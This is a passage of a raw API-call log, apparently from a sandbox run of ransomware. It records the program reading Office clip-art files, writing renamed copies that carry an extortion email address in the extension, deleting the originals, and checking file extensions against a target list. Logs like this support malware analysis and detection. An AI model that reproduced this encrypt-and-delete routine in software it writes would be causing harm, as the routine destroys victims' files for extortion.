SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0274.144] GetLastError () returned 0x0 [0274.144] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xb90, lpOverlapped=0x0) returned 1 [0275.735] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xba0, lpOverlapped=0x0) returned 1 [0275.748] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.748] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.748] SetEndOfFile (hFile=0x548) returned 1 [0275.748] CloseHandle (hObject=0x548) returned 1 [0275.749] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.749] SetEndOfFile (hFile=0x4ac) returned 1 [0275.751] CloseHandle (hObject=0x4ac) returned 1 [0275.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.754] lstrlenW (lpString=".doc") returned 4 [0275.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.754] lstrlenW (lpString=".docx") returned 5 [0275.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.754] lstrlenW (lpString=".pdf") returned 4 [0275.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.754] lstrlenW (lpString=".xls") returned 4 [0275.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.754] lstrlenW (lpString=".xlsx") returned 5 [0275.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.754] lstrlenW (lpString=".ppt") returned 4 [0275.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.754] lstrlenW (lpString=".zip") returned 4 [0275.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.754] lstrlenW (lpString=".rar") returned 4 [0275.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.755] lstrlenW (lpString=".bz2") returned 4 [0275.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.755] lstrlenW (lpString=".7z") returned 3 [0275.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.755] lstrlenW (lpString=".dbf") returned 4 [0275.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.755] lstrlenW (lpString=".1cd") returned 4 [0275.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0275.755] lstrlenW (lpString=".jpg") returned 4 [0275.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.756] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3588) returned 1 [0275.756] CloseHandle (hObject=0x4ac) returned 1 [0275.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0275.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.757] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.757] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0275.757] GetLastError () returned 0x0 [0275.757] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xe04, lpOverlapped=0x0) returned 1 [0275.888] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xe10, lpOverlapped=0x0) returned 1 [0275.889] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.890] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.890] SetEndOfFile (hFile=0x548) returned 1 [0275.890] CloseHandle (hObject=0x548) returned 1 [0275.894] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.894] SetEndOfFile (hFile=0x4ac) returned 1 [0275.907] CloseHandle (hObject=0x4ac) returned 1 [0275.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0275.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.913] lstrlenW (lpString=".doc") returned 4 [0275.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString=".docx") returned 5 [0275.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.914] lstrlenW (lpString=".pdf") returned 4 [0275.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString=".xls") returned 4 [0275.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.914] lstrlenW (lpString=".xlsx") returned 5 [0275.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.914] lstrlenW (lpString=".ppt") returned 4 [0275.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.914] lstrlenW (lpString=".zip") returned 4 [0275.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.914] lstrlenW (lpString=".rar") returned 4 [0275.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString=".bz2") returned 4 [0275.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString=".7z") returned 3 [0275.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.914] lstrlenW (lpString=".dbf") returned 4 [0275.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.914] lstrlenW (lpString=".1cd") returned 4 [0275.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0275.915] lstrlenW (lpString=".jpg") returned 4 [0275.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.916] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2300) returned 1 [0275.916] CloseHandle (hObject=0x4ac) returned 1 [0275.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0275.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.917] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.917] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0275.917] GetLastError () returned 0x0 [0275.917] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0276.291] WriteFile (in: hFile=0x544, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x900, lpOverlapped=0x0) returned 1 [0276.292] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.292] WriteFile (in: hFile=0x544, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.292] SetEndOfFile (hFile=0x544) returned 1 [0276.292] CloseHandle (hObject=0x544) returned 1 [0276.292] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.292] SetEndOfFile (hFile=0x4ac) returned 1 [0276.324] CloseHandle (hObject=0x4ac) returned 1 [0276.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0277.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.557] lstrlenW (lpString=".doc") returned 4 [0277.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.557] lstrlenW (lpString=".docx") returned 5 [0277.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.557] lstrlenW (lpString=".pdf") returned 4 [0277.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.557] lstrlenW (lpString=".xls") returned 4 [0277.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.557] lstrlenW (lpString=".xlsx") returned 5 [0277.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.557] lstrlenW (lpString=".ppt") returned 4 [0277.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.557] lstrlenW (lpString=".zip") returned 4 [0277.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.557] lstrlenW (lpString=".rar") returned 4 [0277.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.557] lstrlenW (lpString=".bz2") returned 4 [0277.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.558] lstrlenW (lpString=".7z") returned 3 [0277.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.558] lstrlenW (lpString=".dbf") returned 4 [0277.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.558] lstrlenW (lpString=".1cd") returned 4 [0277.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0277.558] lstrlenW (lpString=".jpg") returned 4 [0277.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.559] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2232) returned 1 [0277.559] CloseHandle (hObject=0x554) returned 1 [0277.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0277.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0277.560] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.560] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.562] GetLastError () returned 0x0 [0277.562] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0277.605] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0277.607] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.607] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.607] SetEndOfFile (hFile=0x548) returned 1 [0277.607] CloseHandle (hObject=0x548) returned 1 [0277.607] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.607] SetEndOfFile (hFile=0x554) returned 1 [0277.611] CloseHandle (hObject=0x554) returned 1 [0277.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0277.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.612] lstrlenW (lpString=".doc") returned 4 [0277.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.612] lstrlenW (lpString=".docx") returned 5 [0277.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.612] lstrlenW (lpString=".pdf") returned 4 [0277.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString=".xls") returned 4 [0277.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.613] lstrlenW (lpString=".xlsx") returned 5 [0277.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.613] lstrlenW (lpString=".ppt") returned 4 [0277.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.613] lstrlenW (lpString=".zip") returned 4 [0277.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.613] lstrlenW (lpString=".rar") returned 4 [0277.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString=".bz2") returned 4 [0277.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString=".7z") returned 3 [0277.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.613] lstrlenW (lpString=".dbf") returned 4 [0277.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.613] lstrlenW (lpString=".1cd") returned 4 [0277.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0277.613] lstrlenW (lpString=".jpg") returned 4 [0277.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.616] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1804) returned 1 [0277.616] CloseHandle (hObject=0x554) returned 1 [0277.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0277.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0277.619] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.619] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.620] GetLastError () returned 0x0 [0277.620] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x70c, lpOverlapped=0x0) returned 1 [0277.649] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x710, lpOverlapped=0x0) returned 1 [0277.650] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.650] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.651] SetEndOfFile (hFile=0x548) returned 1 [0277.651] CloseHandle (hObject=0x548) returned 1 [0277.651] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.651] SetEndOfFile (hFile=0x554) returned 1 [0277.654] CloseHandle (hObject=0x554) returned 1 [0277.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0277.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.656] lstrlenW (lpString=".doc") returned 4 [0277.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.656] lstrlenW 